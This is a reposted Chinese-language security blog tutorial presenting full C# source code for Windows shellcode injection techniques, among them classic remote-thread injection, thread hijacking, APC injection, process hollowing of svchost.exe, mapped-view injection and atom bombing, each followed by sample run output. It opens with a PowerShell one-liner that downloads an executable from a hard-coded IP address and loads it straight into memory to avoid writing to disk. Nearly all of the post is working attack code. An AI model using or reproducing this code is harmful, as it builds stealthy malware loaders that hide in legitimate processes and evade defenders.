跟我学跟我学 – Shellcode注入技术

渗透技巧 2年前 (2021) admin
743 0 0


跟我学跟我学 - Shellcode注入技术


        如果您想避免将 .Net 二进制文件写入磁盘,您可以使用PowerShell 。


$bytes = (Invoke-WebRequest "http://192.168.1.228/ShellcodeInjectionTechniques.exe").Content;$assembly = [System.Reflection.Assembly]::Load($bytes);$entryPointMethod = $assembly.GetType('ShellcodeInjectionTechniques.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');$entryPointMethod.Invoke($null, (, [string[]] ('', '')));


Shellcode Runner

ShellcodeRunner.cs


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class ShellcodeRunner : ITechnique { private delegate void ShellcodeDelegate();
public void Run(Process target, byte[] shellcode) { unsafe { fixed (byte* ptr = shellcode) { // set the memory where the shellcode is to PAGE_EXECUTE_READWRITE IntPtr memoryAddress = (IntPtr)ptr; VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect); Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") });
// execute the shellcode using a delegate function Debug("[+] Executing shellcode - memory address: 0x{0}", new string[] { memoryAddress.ToString("X") }); ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate)); func(); } } } }}


        这种技术严格来说并不是一种注入技术(因为我们在同一进程中执行 shellcode),而是所有技术中最简单的一种。我们确保 shellcode 在unsafe上下文中使用固定的内存位置我们更改了 shellcode 所在页面的保护,以便我们可以执行它。然后我们使用 C# 委托函数来执行 shellcode。


[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0[+] Executing shellcode - memory address: 0x20D000418E0



Classic Injection

ClassicInjection.cs 


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class ClassicInjection : ITechnique { public void Run(Process target, byte[] shellcode) { // allocate some memory for our shellcode IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// create the remote thread IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread); Debug("[+] CreateRemoteThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); } }}


        此技术在目标进程中分配内存,注入 shellcode 并启动一个新线程。


[+] Found process: 24484[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection[+] VirtualAllocEx(), assigned: 0x23642220000[+] WriteProcessMemory() - remote address: 0x23642220000[+] CreateRemoteThread() - thread handle: 0x380



线程劫持

ThreadHijack.cs


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class ThreadHijack : ITechnique { public void Run(Process target, byte[] shellcode) { ProcessThread thread = GetThread(target.Threads); Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// allocate some memory for our shellcode IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
Debug("[+] SuspendThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); SuspendThread(hThread);
//CONTEXT_ALL = 0x10001F CONTEXT64 ctx = new CONTEXT64(); ctx.ContextFlags = 0x10001F;
// get the thread context - we are looking to manipulate the instruction pointer register Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); if(!GetThreadContext(hThread, ref ctx)) { Console.WriteLine("[!] Error: {0}", GetLastError()); return; }
Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") });
// point the instruction pointer to our shellcode ctx.Rip = (ulong)pAddr;
// set the thread context (update the registers) Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { pAddr.ToString("X") }); SetThreadContext(hThread, ref ctx);
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); ResumeThread(hThread); }
ProcessThread GetThread(ProcessThreadCollection threads) { // find a thread // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread return threads[0];
/* // you could loop through the threads looking for a better one foreach(ProcessThread thread in threads) { } */ } }}



        该技术通过将代码注入目标进程来劫持线程,挂起被劫持的线程,将指令指针 (RIP) 设置为我们注入的代码,然后恢复线程。


[+] Found process: 11508[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack[+] Found thread: 9344[+] OpenThread() - thread handle: 0x378[+] VirtualAllocEx(), assigned: 0x1D17AB80000[+] WriteProcessMemory() - remote address: 0x1D17AB80000[+] SuspendThread() - thread handle: 0x378[+] GetThreadContext() - thread handle: 0x378[+] RIP is: 0x7FFA77D21104[+] SetThreadContext(), RIP assigned: 0x1D17AB80000[+] ResumeThread() - thread handle: 0x378



本地线程劫持

LocalThreadHijack.cs


using System;using System.Runtime.InteropServices;using System.Threading;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class LocalThreadHijack : ITechnique {
public void Run(Process target, byte[] shellcode) { // create a new thread to hijack, in a suspended state IntPtr hThread = CreateThread(IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, ThreadCreationFlags.CREATE_SUSPENDED, out hThread); Debug("[+] CreateThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
unsafe { fixed (byte* ptr = shellcode) { // set the memory where the shellcode is to PAGE_EXECUTE_READWRITE IntPtr memoryAddress = (IntPtr)ptr; VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect); Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") });
//CONTEXT_ALL = 0x10001F CONTEXT64 ctx = new CONTEXT64(); ctx.ContextFlags = 0x10001F;
// get the thread context - we are looking to manipulate the instruction pointer register Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); if (!GetThreadContext(hThread, ref ctx)) { Console.WriteLine("[!] Error: {0}", GetLastError()); return; }
Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") });
// point the instruction pointer to our shellcode ctx.Rip = (ulong)memoryAddress;
// set the thread context (update the registers) Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { memoryAddress.ToString("X") }); SetThreadContext(hThread, ref ctx); } }
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); ResumeThread(hThread); } }}


        此技术创建一个处于挂起状态的新本地线程,然后我们劫持该线程,将指令指针 (RIP) 设置为我们注入的代码,然后恢复该线程。


[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack[+] CreateThread() - thread handle: 0x374[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0[+] GetThreadContext() - thread handle: 0x374[+] RIP is: 0x7FFA79EE2630[+] SetThreadContext(), RIP assigned: 0x270800418E0[+] ResumeThread() - thread handle: 0x374


异步过程调用注入

ACPInjection.cs


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class APCInjection : ITechnique { public void Run(Process target, byte[] shellcode) { ProcessThread thread = GetThread(target.Threads); Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// allocate some memory for our shellcode IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// add an asynchronous procedure call Debug("[+] QueueUserAPC() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); QueueUserAPC(pAddr, hThread, IntPtr.Zero); }
ProcessThread GetThread(ProcessThreadCollection threads) { // find a thread // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread return threads[0];
/* // you could loop through the threads looking for a better one foreach(ProcessThread thread in threads) { } */ } }}



        该技术类似于线程劫持技术,我们将 shellcode 注入远程线程,然后在线程中排队一个 APC 对象。当线程进入警报状态时

当它调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, 或WaitForSingleObjectEx

        

        它运行由我们排队的 APC 对象指向的 shellcode。


[+] Found process: 25320[+] Using technique: ShellcodeInjectionTechniques.APCInjection[+] Found thread: 23796[+] OpenThread() - thread handle: 0x378[+] VirtualAllocEx(), assigned: 0x24E064D0000[+] WriteProcessMemory() - remote address: 0x24E064D0000[+] QueueUserAPC() - thread handle: 0x378


Process Hollowing

ProcessHollow.cs


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class ProcessHollow : ITechnique { public void Run(Process target, byte[] shellcode) { // Create a new process in a suspended state STARTUPINFO lpStartupInfo = new STARTUPINFO(); PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); CreateProcess(null, "C:\Windows\System32\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); Debug("[+] CreateProcess(): C:\Windows\System32\svchost.exe");
// locate the PEB inside the process PROCESS_BASIC_INFORMATION procInformation = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = lpProcessInformation.hProcess; ZwQueryInformationProcess(hProcess, 0x0, ref procInformation, (uint)(IntPtr.Size * 6), ref tmp);
// locate the image base - PEB + 0x10 IntPtr ptrToImageBase = (IntPtr)((Int64)procInformation.PebAddress + 0x10); Debug("[+] Pointer to ImageBase: 0x{0}", new string[] { ptrToImageBase.ToString("X") } );
// read the process memory byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); Debug("[+] ReadProcessMemory() - image base pointer: 0x{0}", new string[] { ptrToImageBase.ToString("X") });
// locate svchost base, converted to a 64-bit integer then cast to an IntPtr IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); Debug("[+] ImageBase: 0x{0}", new string[] { svchostBase.ToString("X") });
// read the memory location to get the entry point from the PE header byte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); Debug("[+] ReadProcessMemory() - svchost base: 0x{0}", new string[] { svchostBase.ToString("X") });
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); uint opthdr = e_lfanew_offset + 0x28; uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); Debug("[+] EntryPoint: 0x{0}", new string[] { ptrToImageBase.ToString("X") });
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead); Debug("[+] WriteProcessMemory(): 0x{0}", new string[] { addressOfEntryPoint.ToString("X") });
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { lpProcessInformation.hThread.ToString("X") }); ResumeThread(lpProcessInformation.hThread); } }}


        该技术启动另一个处于挂起状态的进程(svchost.exe),找到主线程入口点,将我们的 shellcode 注入其中,然后恢复线程。


[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow[+] CreateProcess(): C:WindowsSystem32svchost.exe[+] Pointer to ImageBase: 0xD31E956010[+] ReadProcessMemory() - image base pointer: 0xD31E956010[+] ImageBase: 0x7FF6116C0000[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000[+] EntryPoint: 0xD31E956010[+] WriteProcessMemory(): 0x7FF6116C4E80[+] ResumeThread() - thread handle: 0x454


Inter-Process Mapped View

InterProcessMappedView.cs


using System;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques{ class InterProcessMappedView : ITechnique { public void Run(Process target, byte[] shellcode) { IntPtr hSectionHandle = IntPtr.Zero; IntPtr pLocalView = IntPtr.Zero; UInt64 size = (UInt32)shellcode.Length;
// create a new section to map view to UInt32 result = NtCreateSection(ref hSectionHandle, SectionAccess.SECTION_ALL_ACCESS, IntPtr.Zero, ref size, MemoryProtection.PAGE_EXECUTE_READWRITE, MappingAttributes.SEC_COMMIT, IntPtr.Zero);
if (result != 0) { Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() }); return; } else Debug("[+] NtCreateSection() - section handle: 0x{0}", new string[] { hSectionHandle.ToString("X") });
// create a local view const UInt32 ViewUnmap = 0x2; UInt64 offset = 0; result = NtMapViewOfSection(hSectionHandle, (IntPtr)(-1), ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_READWRITE);
if (result != 0) { Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() }); return; } else Debug("[+] NtMapViewOfSection() - local view: 0x{0}", new string[] { pLocalView.ToString("X") });
// copy shellcode to the local view Marshal.Copy(shellcode, 0, pLocalView, shellcode.Length); Debug("[+] Marshalling shellcode");
// create a remote view of the section in the target IntPtr pRemoteView = IntPtr.Zero; NtMapViewOfSection(hSectionHandle, target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_EXECUTE_READ); Debug("[+] NtMapViewOfSection() - remote view: 0x{0}", new string[] { pRemoteView.ToString("X") });
// execute the shellcode IntPtr hThread = IntPtr.Zero; CLIENT_ID cid = new CLIENT_ID(); RtlCreateUserThread(target.Handle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, pRemoteView, IntPtr.Zero, ref hThread, cid); Debug("[+] RtlCreateUserThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); } }}



        该技术在内存中创建一个新部分,创建该部分的本地映射视图,将我们的 shellcode 复制到本地映射视图中,并在目标进程中创建本地映射视图的远程映射视图。最后,我们在目标进程中创建一个新线程,以映射视图作为入口点。


[+] Found process: 23740[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView[+] NtCreateSection() - section handle: 0x37C[+] NtMapViewOfSection() - local view: 0x20CB8E40000[+] Marshalling shellcode[+] NtMapViewOfSection() - remote view: 0x22D90310000[+] RtlCreateUserThread() - thread handle: 0x384


Atom Bombing

AtomBomb.cs


using System;using System.Text;using System.Collections.Generic;using System.Runtime.InteropServices;using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;using static ShellcodeInjectionTechniques.Native;using static ShellcodeInjectionTechniques.AesHelper;
namespace ShellcodeInjectionTechniques{ class PageHelper { public IntPtr BaseAddress { get; set; } public Int32 RegionSize { get; set; }
public PageHelper(IntPtr baseAddress, Int32 regionSize) { BaseAddress = baseAddress; RegionSize = regionSize; } }
class AtomBomb : ITechnique { public void Run(Process target, byte[] shellcode) { ProcessThread thread = GetThread(target.Threads); Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// need to find a remote page we can write to PageHelper[] pWritablePages = FindWritablePages(target.Handle, thread.StartAddress); //FindWritablePage(target.Handle, thread.StartAddress); if (pWritablePages.Length == 0) { Debug("[!] Unable to find writable page!"); return; } else Debug("[+] FindWritablePages() - number found: {0}", new string[] { pWritablePages.Length.ToString() });
// try to find a code cave in the writable pages to atom bomb our shellcode IntPtr pWritable = IntPtr.Zero; for (int i = 0; i < pWritablePages.Length; i++) { pWritable = FindCodeCave(target.Handle, pWritablePages[i].BaseAddress, shellcode.Length, pWritablePages[i].RegionSize); if (pWritable != IntPtr.Zero) break; }
// we did not find a suitable code cave if (pWritable == IntPtr.Zero) { Debug("[!] Unable to find a suitable code cave!"); return; } else Debug("[+] Found a suitable code cave - pWritable: 0x{0}", new string[] { pWritable.ToString("X") });
IntPtr codeCave = pWritable;
// get the proc address - GlobalGetAtomNameA IntPtr pGlobalGetAtomNameW = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "GlobalGetAtomNameW"); Debug("[+] GetProcAddress() - pGlobalGetAtomNameW: 0x{0}", new string[] { pGlobalGetAtomNameW.ToString("X") });
// define a chunk size to write our atom names (note: an atom name can be 255 max size) Int32 chunkSize = 200;
// add the atom names as shellcode chunks of length chunkSize - including the terminating null byte Int32 sections = (shellcode.Length / chunkSize) + 1;
// loop through the sections and add the shell code as atom names for (int i = 0; i < sections; i++) { // get the next shellcode chunk byte[] tmpBytes = SubArray(shellcode, i * chunkSize, chunkSize); byte[] shellcodeChunk = new byte[tmpBytes.Length + 1];
// add a null byte to the end Buffer.BlockCopy(tmpBytes, 0, shellcodeChunk, 0, tmpBytes.Length); Buffer.BlockCopy(new byte[1] { 0x00 }, 0, shellcodeChunk, tmpBytes.Length, 1);
// add the shellcode to the global atom table unsafe { fixed (byte* ptr = shellcodeChunk) { UInt16 ATOM = GlobalAddAtomW((IntPtr)ptr); Debug("[+] GlobalAddAtom() - ATOM: 0x{0}", new string[] { ATOM.ToString("X") });
// queue the APC thread NtQueueApcThread(hThread, pGlobalGetAtomNameW, ATOM, pWritable, chunkSize * 2); Debug("[+] NtQueueApcThread() - pWritable: 0x{0}", new string[] { pWritable.ToString("X") });
// increment to the next writable memory location pWritable += chunkSize; } } }
IntPtr pVirtualProtect = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "VirtualProtect"); Debug("[+] GetProcAddress() - pVirtualProtect: 0x{0}", new string[] { pVirtualProtect.ToString("X") });
NtQueueApcThread(hThread, pVirtualProtect, (UInt32)codeCave, (IntPtr)shellcode.Length, (Int32)(MemoryProtection.PAGE_EXECUTE_READWRITE)); Debug("[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x{0}", new string[] { codeCave.ToString("X") });
QueueUserAPC(codeCave, hThread, IntPtr.Zero); Debug("[+] QueueUserAPC() - codeCave: 0x{0}", new string[] { codeCave.ToString("X") }); }
ProcessThread GetThread(ProcessThreadCollection threads) { // find a thread // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread return threads[0];
/* // you could loop through the threads looking for a better one foreach(ProcessThread thread in threads) { } */ }
PageHelper[] FindWritablePages(IntPtr hProcess, IntPtr threadStartAddress) { Int32 size; List<PageHelper> pages = new List<PageHelper>();
while (true) { try { // query the memory region to see if it is readable and writable, and grab the region size size = VirtualQueryEx(hProcess, threadStartAddress, out MEMORY_BASIC_INFORMATION lpBuffer, (UInt32)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
if (size != 0) { // we need readable and writable pages to find a code cave and write our shellcode to string pageProtection = Enum.GetName(typeof(MemoryProtection), lpBuffer.Protect); if (pageProtection.Contains("WRITE") && pageProtection.Contains("READ")) pages.Add(new PageHelper(lpBuffer.BaseAddress, (Int32)lpBuffer.RegionSize));
// move to the next page threadStartAddress = IntPtr.Add(threadStartAddress, (Int32)lpBuffer.RegionSize); } else continue; } catch { break; } }
return pages.ToArray(); }
IntPtr FindCodeCave(IntPtr hProcess, IntPtr startAddress, int size, int regionSize) { // byte array to hold the read memory byte[] areaToSearch = new byte[regionSize];
// the region in memory so we can search it for a code cave if (!ReadProcessMemory(hProcess, startAddress, areaToSearch, regionSize, out IntPtr lpNumberOfBytesRead)) { // this shouldnt happen but if it does just return zero return IntPtr.Zero; }
// look for a code cave for (int i = 0; i < (Int32)lpNumberOfBytesRead; i++) { // find the start of a possible code cave if (areaToSearch[i] != 0x00) continue;
// if we are nearing the end of the region just return zero if (i + size >= (Int32)lpNumberOfBytesRead) return IntPtr.Zero;
// now we need to check to see if there are enough consecutive zeros to put our shellcode bool found = false; for(int j = i; j < i + size; j++) { if (areaToSearch[j] != 0x00) { i = j; break; } else { // we have a code cave if (j == i + (size - 1)) { found = true; break; } } }
// return the code cave address if (found) return IntPtr.Add(startAddress, i); }
return IntPtr.Zero; }
IntPtr GetModuleBaseAddress(string name) { Process hProc = Process.GetCurrentProcess();
foreach (ProcessModule m in hProc.Modules) { if (m.ModuleName.ToUpper().StartsWith(name.ToUpper())) return m.BaseAddress; }
// we can't find the base address return IntPtr.Zero; } }}


        这项技术它允许我们写入最大大小为 255 字节的空终止字符串。找到一个代码洞来写入 shellcode,然后使用 APC 调用来触发目标进程将Atom Names读入内存。最后,使用几个APC调用来改变目标进程的内存保护并执行shellcode。

        首先,这段代码需要主线程进入alertable状态才能执行APC队列。使用多个 APC 将 Atom Names 链接在一起,以形成大于 255 字节的 shellcode。不使用 ROP 链来强制目标进程调用VirtualProtect然后执行代码,使用 APC 队列。


[+] Found process: 14140[+] Using technique: ShellcodeInjectionTechniques.AtomBomb[+] Found thread: 5940[+] OpenThread() - thread handle: 0xD0[+] FindWritablePages() - number found: 2[+] Found a suitable code cave - pWritable: 0x2CE60031[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680[+] GlobalAddAtom() - ATOM: 0xC091[+] NtQueueApcThread() - pWritable: 0x2CE60031[+] GlobalAddAtom() - ATOM: 0xC06F[+] NtQueueApcThread() - pWritable: 0x2CE600F9[+] GlobalAddAtom() - ATOM: 0xC080[+] NtQueueApcThread() - pWritable: 0x2CE601C1[+] GlobalAddAtom() - ATOM: 0xC088[+] NtQueueApcThread() - pWritable: 0x2CE60289[+] GlobalAddAtom() - ATOM: 0xC084[+] NtQueueApcThread() - pWritable: 0x2CE60351[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031[+] QueueUserAPC() - codeCave: 0x2CE60031



原文始发于微信公众号(Khan安全攻防实验室):跟我学跟我学 – Shellcode注入技术

版权声明:admin 发表于 2021年12月29日 上午12:14。
转载请注明:跟我学跟我学 – Shellcode注入技术 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...